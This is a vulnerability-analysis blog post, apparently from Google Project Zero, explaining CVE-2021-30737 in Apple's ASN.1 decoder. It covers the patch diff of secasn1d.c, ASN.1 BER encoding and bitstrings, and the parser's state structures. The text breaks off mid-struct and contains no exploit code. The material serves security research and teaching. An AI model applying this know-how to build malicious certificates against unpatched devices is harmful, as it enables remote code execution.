New"}.c4{background-color:#d9ead3}.c14{height:11pt}.c28{font-family:"Arial"}.c12{background-color:#f4cccc}.c18{height:0pt}.c26{font-style:italic}.c15{background-color:#ffffff}.c17{font-weight:700}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c13">
<p class="c6 c8"><span class="c9">Posted by Ian Beer, Google Project Zero</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span class="c17">This blog post is my analysis of a vulnerability found by </span><span class="c21 c17"><a class="c241" href="https://twitter.com/xerub">@xerub</a></span><span class="c17">.</span><span class="c17"> </span><span class="c21 c17"><a class="c241" href="http://phrack.org/issues/70/12.html#article">Phrack published @xerub's writeup</a></span><span class="c19 c28 c17"> so go check that out first.</span></p>
<p class="c0"><span class="c19 c28 c17"></span></p>
<p class="c6 c8"><span class="c9">As well as doing my own vulnerability research I also spend time trying as best as I can to keep up with the public state-of-the-art, especially when details of a particularly interesting vulnerability are announced or a new in-the-wild exploit is caught. Originally this post was just a series of notes I took last year as I was trying to understand this bug. But the bug itself and the narrative around it are so fascinating that I thought it would be worth writing up these notes into a more coherent form to share with the community.</span></p><h2 class="c32 c8" id="h.s8tx0adm3791"><span>Background</span></h2>
<p class="c6 c8"><span>On April 14th 2021 the </span><span class="c21"><a class="c241" href="https://www.washingtonpost.com/technology/2021/04/14/azimuth-san-bernardino-apple-iphone-fbi/">Washington Post published an article</a></span><span> </span><span>on the unlocking of the San Bernardino iPhone by </span><span class="c21"><a class="c241" href="https://www.vice.com/en/article/8xdayg/iphone-zero-days-inside-azimuth-security">Azimuth</a></span><span class="c9"> containing a nugget of non-public information:</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>"</span><span class="c26">Azimuth specialized in finding </span><span class="c26 c29">significant vulnerabilities</span><span class="c26">. Dowd [...] had found one </span><span class="c29 c26">in open-source code from Mozilla that Apple used</span><span class="c26"> to permit accessories to be plugged into</span><span class="c26"> an iPhone’s lightning port, according to the person.</span><span class="c9">"</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>There's not that much Mozilla code running on an iPhone and even less which is likely to be part of such an attack surface. Therefore, if accurate, this quote almost certainly meant that Azimuth had exploited a vulnerability in the </span><span class="c21"><a class="c241" href="https://en.wikipedia.org/wiki/ASN.1">ASN.1</a></span><span> parser used by </span><span class="c21"><a class="c241" href="https://opensource.apple.com/source/Security/">Security.framework</a></span><span class="c9">, which is a fork of Mozilla's NSS ASN.1 parser.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>I searched around in </span><span class="c21"><a class="c241" href="https://bugzilla.mozilla.org/">bugzilla</a></span><span> (Mozilla's issue tracker) looking for candidate vulnerabilities which matched the timeline discussed in the Post article and narrowed it down to a handful of plausible bugs including: </span><span class="c21"><a class="c241" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1202868">1202868</a></span><span>, </span><span class="c21"><a class="c241" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1192028">1192028</a></span><span>, </span><span class="c21"><a class="c241" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1245528">1245528</a></span><span class="c9">.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span class="c9">I was surprised that there had been so many exploitable-looking issues in the ASN.1 code and decided to add auditing the NSS ASN.1 parser as an quarterly goal.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>A month later, having predictably done absolutely nothing more towards that goal, I saw this </span><span class="c21"><a class="c241" href="https://twitter.com/xerub/status/1397190931653222400">tweet from @xerub</a></span><span>:</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"></p>
<p class="c6 c8"><span class="c9"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3Zm78R4JD6H57okd_d1wpa26R9mX0Q746I5hMzwV8EMxosHbDjO5l5tH2hEpkq0m3S7AMmHOU9_6J7veCrxIxq66ilLSKJCLgHBGalgzSo0MrCulaERSbqUhXkHwqNbZdeVg4JWisV2ZuDb_j_AxLxvzX3t1EEtp396DCTt6fYeihuTRsevnnGUXD/s1188/image2%20%281%29%281%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3Zm78R4JD6H57okd_d1wpa26R9mX0Q746I5hMzwV8EMxosHbDjO5l5tH2hEpkq0m3S7AMmHOU9_6J7veCrxIxq66ilLSKJCLgHBGalgzSo0MrCulaERSbqUhXkHwqNbZdeVg4JWisV2ZuDb_j_AxLxvzX3t1EEtp396DCTt6fYeihuTRsevnnGUXD/s1188/image2%20%281%29%281%29.png" border="0" alt="@xerub: CVE-2021-30737 is pretty bad. Please update ASAP. (Shameless excerpt from the full chain source code) 4:00 PM - May 25, 2021" style="max-height: 750; max-width: 600px; "title="@xerub: CVE-2021-30737 is pretty bad. Please update ASAP. (Shameless excerpt from the full chain source code) 4:00 PM - May 25, 2021" /></a></span></p>
<p class="c34 c8"><span class="c27 c26">@xerub: CVE-2021-30737 is pretty bad. Please update ASAP. (Shameless excerpt from the full chain source code) 4:00 PM - May 25, 2021</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span class="c9">The shameless excerpt reads:</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span class="c27 c26">// This is the real deal. Take no chances, take no prisoners! I AM THE STATE MACHINE!</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>And CVE-2021-30737, fixed in iOS 14.6 was described in the </span><span class="c21"><a class="c241" href="https://support.apple.com/en-us/HT212528#:~:text=2021%2D30699%3A%20videosdebarraquito-,Security,CVE%2D2021%2D30737%3A%20xerub,-WebKit">iOS release notes</a></span><span class="c9"> as:</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"></p>
<p class="c6 c8"><span><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje1dcAUA5sK_nqVsE360buSwr8PiFgWjPgQpoq-OM0yvBR6Cb0NFXaoXwmIEE6g_fljFihcv3Vh2lUeXZJgKXfFZVC0t3-nuLvhNOx5bEriX6rZmYt1CIiRMxQ47Sw4tuyc9e7ruZC6lLPKklbsN9QQKoEE7h6QeUzQKyNk9APG5-WYvYgjCR7KRJd/s1650/image4%20%281%29%281%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje1dcAUA5sK_nqVsE360buSwr8PiFgWjPgQpoq-OM0yvBR6Cb0NFXaoXwmIEE6g_fljFihcv3Vh2lUeXZJgKXfFZVC0t3-nuLvhNOx5bEriX6rZmYt1CIiRMxQ47Sw4tuyc9e7ruZC6lLPKklbsN9QQKoEE7h6QeUzQKyNk9APG5-WYvYgjCR7KRJd/s1200/image4%20%281%29%281%29.png" border="0" alt="Screenshot of text. Transcript: Security. Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation). Impact: Processing a maliciously crafted certificate may lead to arbitrary code execution. Description: A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code. CVE-2021-30737: xerub" style="max-height: 750; max-width: 600px;" title="Screenshot of text. Transcript: Security. Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation). Impact: Processing a maliciously crafted certificate may lead to arbitrary code execution. Description: A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code. CVE-2021-30737: xerub" /></a></span></p>
<p class="c34 c8"><span class="c27 c26">Impact: Processing a maliciously crafted certification may lead to arbitrary code execution</span></p>
<p class="c34 c8"><span class="c27 c26">Description: A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>Feeling slightly annoyed that I hadn't acted on my instincts as there was clearly something awesome lurking there I made a mental note to diff the source code once Apple released it which they finally did a few weeks later on </span><span class="c21"><a class="c241" href="https://opensource.apple.com/source/Security/Security-59754.120.12/">opensource.apple.com in the Security package</a></span><span class="c9">.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>Here's the diff between the MacOS 11.4 and 11.3 versions of </span><span class="c21"><a class="c241" href="https://opensource.apple.com/source/Security/Security-59754.120.12/OSX/libsecurity_asn1/lib/secasn1d.c.auto.html">secasn1d.c</a></span><span class="c9"> which contains the ASN.1 parser:</span></p>
<p class="c0"><span class="c9"></span></p><a id="t.7d4e5129f2e85e500fa9ac546c708b609028d0e3"></a><a id="t.0"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c3">diff </span><span class="c1">--</span><span class="c3">git a</span><span class="c1">/</span><span class="c3">OSX</span><span class="c1">/</span><span class="c3">libsecurity_asn1</span><span class="c1">/</span><span class="c3">lib</span><span class="c1">/</span><span class="c3">secasn1d</span><span class="c1">.</span><span class="c3">c b</span><span class="c1">/</span><span class="c3">OSX</span><span class="c1">/</span><span class="c3">libsecurity_asn1</span><span class="c1">/</span><span class="c3">lib</span><span class="c1">/</span><span class="c3">secasn1d</span><span class="c1">.</span><span class="c2">c</span></p>
<p class="c6"><span class="c3">index f338527</span><span class="c1">..</span><span class="c11">5b4915a</span><span class="c3"> </span><span class="c11">100644</span></p>
<p class="c6"><span class="c1">---</span><span class="c3"> a</span><span class="c1">/</span><span class="c3">OSX</span><span class="c1">/</span><span class="c3">libsecurity_asn1</span><span class="c1">/</span><span class="c3">lib</span><span class="c1">/</span><span class="c3">secasn1d</span><span class="c1">.</span><span class="c2">c</span></p>
<p class="c6"><span class="c1">+++</span><span class="c3"> b</span><span class="c1">/</span><span class="c3">OSX</span><span class="c1">/</span><span class="c3">libsecurity_asn1</span><span class="c1">/</span><span class="c3">lib</span><span class="c1">/</span><span class="c3">secasn1d</span><span class="c1">.</span><span class="c2">c</span></p>
<p class="c6"><span class="c1">@@</span><span class="c3"> </span><span class="c1">-</span><span class="c11">434</span><span class="c1">,</span><span class="c11">9</span><span class="c3"> </span><span class="c1">+</span><span class="c11">434</span><span class="c1">,</span><span class="c11">6</span><span class="c3"> </span><span class="c1">@@</span><span class="c3"> loser</span><span class="c1">:</span></p>
<p class="c6"><span class="c3"> PORT_ArenaRelease</span><span class="c1">(</span><span class="c3">cx</span><span class="c1">-></span><span class="c3">our_pool</span><span class="c1">,</span><span class="c3"> state</span><span class="c1">-></span><span class="c3">our_mark</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">our_mark </span><span class="c1">=</span><span class="c3"> NULL</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c1 c12">-</span><span class="c3 c12"> </span><span class="c16 c12">if</span><span class="c3 c12"> </span><span class="c1 c12">(</span><span class="c3 c12">new_state </span><span class="c1 c12">!=</span><span class="c3 c12"> NULL</span><span class="c1 c12">)</span><span class="c3 c12"> </span><span class="c1 c12">{</span></p>
<p class="c6"><span class="c1 c12">-</span><span class="c3 c12"> PORT_Free</span><span class="c1 c12">(</span><span class="c3 c12">new_state</span><span class="c1 c12">);</span></p>
<p class="c6"><span class="c1 c12">-</span><span class="c3 c12"> </span><span class="c1 c12">}</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c3"> NULL</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c2"> </span></p>
<p class="c6"><span class="c1">@@</span><span class="c3"> </span><span class="c1">-</span><span class="c11">1794</span><span class="c1">,</span><span class="c11">19</span><span class="c3"> </span><span class="c1">+</span><span class="c11">1791</span><span class="c1">,</span><span class="c11">13</span><span class="c3"> </span><span class="c1">@@</span><span class="c3"> sec_asn1d_parse_bit_string </span><span class="c1">(</span><span class="c3">sec_asn1d_state </span><span class="c1">*</span><span class="c3">state</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/*PORT_Assert (state->pending > 0); */</span></p>
<p class="c6"><span class="c3"> PORT_Assert </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">==</span><span class="c3"> beforeBitString</span><span class="c1">);</span></p>
<p class="c6"><span class="c2"> </span></p>
<p class="c6"><span class="c1 c12">-</span><span class="c3 c12"> </span><span class="c16 c12">if</span><span class="c3 c12"> </span><span class="c1 c12">((</span><span class="c3 c12">state</span><span class="c1 c12">-></span><span class="c3 c12">pending </span><span class="c1 c12">==</span><span class="c3 c12"> </span><span class="c11 c12">0</span><span class="c1 c12">)</span><span class="c3 c12"> </span><span class="c1 c12">||</span><span class="c3 c12"> </span><span class="c1 c12">(</span><span class="c3 c12">state</span><span class="c1 c12">-></span><span class="c3 c12">contents_length </span><span class="c1 c12">==</span><span class="c3 c12"> </span><span class="c11 c12">1</span><span class="c1 c12">))</span><span class="c3 c12"> </span><span class="c1 c12">{</span></p>
<p class="c6"><span class="c1 c4">+</span><span class="c3 c4"> </span><span class="c16 c4">if</span><span class="c3 c4"> </span><span class="c1 c4">(</span><span class="c3 c4">state</span><span class="c1 c4">-></span><span class="c3 c4">pending </span><span class="c1 c4">==</span><span class="c3 c4"> </span><span class="c11 c4">0</span><span class="c1 c4">)</span><span class="c3 c4"> </span><span class="c1 c4">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">dest </span><span class="c1">!=</span><span class="c3"> NULL</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c20">SecAsn1Item</span><span class="c3"> </span><span class="c1">*</span><span class="c3">item </span><span class="c1">=</span><span class="c3"> </span><span class="c1">(</span><span class="c20">SecAsn1Item</span><span class="c3"> </span><span class="c1">*)(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">dest</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> item</span><span class="c1">-></span><span class="c20">Data</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> NULL</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> item</span><span class="c1">-></span><span class="c20">Length</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> beforeEndOfContents</span><span class="c1">;</span></p>
<p class="c6"><span class="c1 c12">-</span><span class="c3 c12"> </span><span class="c1 c12">}</span></p>
<p class="c6"><span class="c1 c12">-</span><span class="c3 c12"> </span><span class="c16 c12">if</span><span class="c1 c12">(</span><span class="c3 c12">state</span><span class="c1 c12">-></span><span class="c3 c12">contents_length </span><span class="c1 c12">==</span><span class="c3 c12"> </span><span class="c11 c12">1</span><span class="c1 c12">)</span><span class="c3 c12"> </span><span class="c1 c12">{</span></p>
<p class="c6"><span class="c1 c12">-</span><span class="c3 c12"> </span><span class="c23 c12">/* skip over (unused) remainder byte */</span></p>
<p class="c6"><span class="c1 c12">-</span><span class="c3 c12"> </span><span class="c16 c12">return</span><span class="c3 c12"> </span><span class="c11 c12">1</span><span class="c1 c12">;</span></p>
<p class="c6"><span class="c1 c12">-</span><span class="c3 c12"> </span><span class="c1 c12">}</span></p>
<p class="c6"><span class="c1 c12">-</span><span class="c3 c12"> </span><span class="c16 c12">else</span><span class="c3 c12"> </span><span class="c1 c12">{</span></p>
<p class="c6"><span class="c1 c12">-</span><span class="c3 c12"> </span><span class="c16 c12">return</span><span class="c3 c12"> </span><span class="c11 c12">0</span><span class="c1 c12">;</span></p>
<p class="c6"><span class="c1 c4">+</span><span class="c3 c4"> </span><span class="c16 c4">return</span><span class="c3 c4"> </span><span class="c11 c4">0</span><span class="c1 c4">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p></td></tr></tbody></table>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>The first change (removing the </span><span class="c7">PORT_Free</span><span class="c9">) is immaterial for Apple's use case as it's fixing a double free which doesn't impact Apple's build. It's only relevant when "allocator marks" are enabled and this feature is disabled.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>The vulnerability must therefore be in </span><span class="c7">sec_asn1d_parse_bit_string</span><span class="c9">. We know from xerub's tweet that something goes wrong with a state machine, but to figure it out we need to cover some ASN.1 basics and then start looking at how the NSS ASN.1 state machine works.</span></p><h2 class="c32 c8" id="h.niqtzuiy3s6j"><span class="c31 c28">ASN.1 encoding</span></h2>
<p class="c6 c8"><span>ASN.1 is a Type-Length-Value serialization format, but with the neat quirk that it can also handle the case when you don't know the length of the value, but want to serialize it anyway! That quirk is only possible when ASN.1 is encoded according to </span><span>Basic Encoding Rules (BER.) There is a stricter encoding called DER (Distinguished Encoding Rules)</span><span class="c9"> which enforces that a particular value only has a single correct encoding and disallows the cases where you can serialize values without knowing their eventual lengths.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span class="c21"><a class="c241" href="https://luca.ntop.org/Teaching/Appunti/asn1.html">This page is a nice beginner's guide to ASN.1</a></span><span class="c9">. I'd really recommend skimming that to get a good overview of ASN.1.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span class="c9">There are a lot of built-in types in ASN.1. I'm only going to describe the minimum required to understand this vulnerability (mostly because I don't know any more than that!) So let's just start from the very first byte of a serialized ASN.1 object and figure out how to decode it:</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>This first byte tells you the type, with the least significant 5 bits defining the type identifier. The special type identifier value of </span><span class="c7">0x1f</span><span class="c9"> tells you that the type identifier doesn't fit in those 5 bits and is instead encoded in a different way (which we'll ignore):</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"></p>
<p class="c6 c8"><span class="c9"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizzg9gXNiEAlpqdPX6dIJ-pzEqqCLLQgRmv0BPkemfLnoeJFYJVgOPrEm6MR8HJMgX88oyMorrni9bnqDYcIuTjMuqF4gqF9q-Upt4tvTQAlzJMoO5u1ZcgAYcSt6eGnLaXeqSQyDO1D2tV4BXPquPyyzosMl00q5xBdmHucTkCxNRKIWkLSXj0KyR/s600/image6%20%281%29%281%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizzg9gXNiEAlpqdPX6dIJ-pzEqqCLLQgRmv0BPkemfLnoeJFYJVgOPrEm6MR8HJMgX88oyMorrni9bnqDYcIuTjMuqF4gqF9q-Upt4tvTQAlzJMoO5u1ZcgAYcSt6eGnLaXeqSQyDO1D2tV4BXPquPyyzosMl00q5xBdmHucTkCxNRKIWkLSXj0KyR/s600/image6%20%281%29%281%29.png" border="0" alt="Diagram showing first two bytes of a serialized ASN.1 object. The first byte in this case is the type and class identifier and the second is the length." style="max-height: 750; max-width: 600px;" title="Diagram showing first two bytes of a serialized ASN.1 object. The first byte in this case is the type and class identifier and the second is the length." /></a></span></p>
<p class="c34 c8"><span class="c27 c26">Diagram showing first two bytes of a serialized ASN.1 object. The first byte in this case is the type and class identifier and the second is the length.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span class="c9">The upper two bits of the first byte tell you the class of the type: universal, application, content-specific or private. For us, we'll leave that as 0 (universal.)</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>Bit 6 is where the fun starts. A value of 1 tells us that this is a </span><span class="c17">primitive</span><span> encoding which means that following the length are content bytes which can be directly interpreted as the intended type. For example, a primitive encoding of the string "HELLO" as an ASN.1 </span><span class="c7">printable string</span><span> would have a length byte of </span><span class="c7">5</span><span> followed by the ASCII characters "</span><span class="c7">HELLO</span><span class="c9">". All fairly straightforward.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>A value of 0 for bit 6 however tells us that this is a </span><span class="c17">constructed</span><span> encoding. This means that the bytes following the length are not the "raw" content bytes for the type but are instead ASN.1 encodings of one or more "chunks" which need to be individually parsed and concatenated to form the final output value. And to make things extra complicated it's also possible to specify a length value of </span><span class="c7">0</span><span class="c9"> which means that you don't even know how long the reconstructed output will be or how much of the subsequent input will be required to completely build the output.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>This final case (of a constructed type with indefinite length) is known as </span><span class="c17">indefinite</span><span> form. The end of the input which makes up a single indefinite value is signaled by a serialized type with the identifier, constructed, class and length values all equal to </span><span class="c7">0</span><span> , which is encoded as two </span><span class="c7">NULL</span><span class="c9"> bytes.</span></p><h2 class="c32 c8" id="h.iu15q8vvc4lc"><span class="c31 c28">ASN.1 bitstrings</span></h2>
<p class="c6 c8"><span>Most of the ASN.1 string types require no special treatment; they're just buffers of raw bytes. Some of them have length restrictions. For example: a </span><span class="c7">BMP</span><span> string must have an even length and a </span><span class="c7">UNIVERSAL</span><span class="c9"> string must be a multiple of 4 bytes in length, but that's about it.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>ASN.1 </span><span class="c7">bitstrings</span><span> are strings of bits as opposed to bytes. You could for example have a bitstring with a length of a single bit (so either a </span><span class="c7">0</span><span> or </span><span class="c7">1</span><span class="c9">) or a bitstring with a length of 127 bits (so 15 full bytes plus an extra 7 bits.) </span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>Encoded ASN.1 </span><span class="c7">bitstrings</span><span> have an extra metadata byte after the length but before the contents, which encodes the number of unused </span><span class="c17">bits</span><span class="c9"> in the final byte.</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"></p>
<p class="c6 c8"><span class="c9"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozw2VvZycyqovtb9-AdzBUGQAUR8Bt9lGRG4A0LS9aMYAohwNVGi7CAFrCGUG6Y3SGu1iFvpn85ZrrPiA0f6dxo2Qy18ypN6sf_LG7mNNMICekk9VOcWHMDE7ZtRoZQyeIiWhKr8D0Od3frzIFnEc6oYPM0CG9kGk4QWUVSAxMrqoD6km_Cy5V1ww/s1165/image1%20%282%29%283%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhozw2VvZycyqovtb9-AdzBUGQAUR8Bt9lGRG4A0LS9aMYAohwNVGi7CAFrCGUG6Y3SGu1iFvpn85ZrrPiA0f6dxo2Qy18ypN6sf_LG7mNNMICekk9VOcWHMDE7ZtRoZQyeIiWhKr8D0Od3frzIFnEc6oYPM0CG9kGk4QWUVSAxMrqoD6km_Cy5V1ww/s1165/image1%20%282%29%283%29.png" border="0" alt="Diagram showing the complete encoding of a 3-bit bitstring. The length of 2 includes the unused-bits count byte which has a value of 5, indicating that only the 3 most-significant bits of the final byte are valid." style="max-height: 750; max-width: 600px;"title="Diagram showing the complete encoding of a 3-bit bitstring. The length of 2 includes the unused-bits count byte which has a value of 5, indicating that only the 3 most-significant bits of the final byte are valid." /></a></span></p>
<p class="c34 c8"><span class="c27 c26">Diagram showing the complete encoding of a 3-bit bitstring. The length of 2 includes the unused-bits count byte which has a value of 5, indicating that only the 3 most-significant bits of the final byte are valid.</span></p>
<p class="c8 c14 c34"><span class="c26 c27"></span></p><h2 class="c32 c8" id="h.9dutmbj0iutz"><span class="c31 c28">Parsing ASN.1</span></h2>
<p class="c6 c8"><span class="c9">ASN.1 data always needs to be decoded in tandem with a template that tells the parser what data to expect and also provides output pointers to be filled in with the parsed output data. Here's the template my test program uses to exercise the bitstring code:</span></p>
<p class="c0"><span class="c9"></span></p><a id="t.e816d0e76cff75906d870663f8d39eaa14fc6487"></a><a id="t.1"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c16">const</span><span class="c3"> </span><span class="c20">SecAsn1Template</span><span class="c3"> simple_bitstring_template</span><span class="c1">[]</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> SEC_ASN1_BIT_STRING </span><span class="c1">|</span><span class="c3"> SEC_ASN1_MAY_STREAM</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// kind: bit string,</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">// may be constructed</span></p>
<p class="c6"><span class="c3"> </span><span class="c11">0</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// offset: in dest/src</span></p>
<p class="c6"><span class="c3"> NULL</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// sub: subtemplate for indirection</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">sizeof</span><span class="c1">(</span><span class="c20">SecAsn1Item</span><span class="c1">)</span><span class="c3"> </span><span class="c23">// size: of output structure</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c1">};</span></p></td></tr></tbody></table>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span>A </span><span class="c7">SecASN1Item</span><span> is a very simple wrapper around a buffer. We can provide a </span><span class="c7">SecAsn1Item</span><span class="c9"> for the parser to use to return the parsed bitstring then call the parser:</span></p>
<p class="c0"><span class="c9"></span></p><a id="t.800141608823d3e78f5e3937494968c764bff2e1"></a><a id="t.2"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c20">SecAsn1Item</span><span class="c3"> decoded </span><span class="c1">=</span><span class="c3"> </span><span class="c1">{</span><span class="c11">0</span><span class="c1">};</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c20">PLArenaPool</span><span class="c1">*</span><span class="c3"> pool </span><span class="c1">=</span><span class="c3"> PORT_NewArena</span><span class="c1">(</span><span class="c11">1024</span><span class="c1">);</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c20">SECStatus</span><span class="c3"> status </span><span class="c1">=</span></p>
<p class="c6"><span class="c3"> SEC_ASN1Decode</span><span class="c1">(</span><span class="c3">pool</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// pool: arena for destination allocations</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">&</span><span class="c3">decoded</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// dest: decoded encoded items in to here</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">&</span><span class="c3">simple_bitstring_template</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// template</span></p>
<p class="c6"><span class="c3"> asn1_bytes</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// buf: asn1 input bytes</span></p>
<p class="c6"><span class="c3"> asn1_bytes_len</span><span class="c1">);</span><span class="c3"> </span><span class="c23">// len: input size</span></p></td></tr></tbody></table><h2 class="c32 c8" id="h.ge5rhouvh4pm"><span class="c28 c31">NSS ASN.1 state machine</span></h2>
<p class="c6 c8"><span class="c9">The state machine has two core data structures:</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span class="c7">SEC_ASN1DecoderContext</span><span class="c9"> - the overall parsing context</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span class="c7">sec_asn1d_state</span><span class="c9"> - a single parser state, kept in a doubly-linked list forming a stack of nested states</span></p>
<p class="c0"><span class="c9"></span></p>
<p class="c6 c8"><span class="c9">Here's a trimmed version of the state object showing the relevant fields:</span></p>
<p class="c0"><span class="c9"></span></p><a id="t.6e6d0d518a15f071678c6483b9dc57daeed428e3"></a><a id="t.3"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c16">typedef</span><span class="c3"> </span><span class="c16">struct</span><span class="c3"> sec_asn1d_state_struct </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> SEC_ASN1DecoderContext </span><span class="c1">*</span><span class="c3">top</span><span class="c1">;</span><span class="c2"> </span></p>
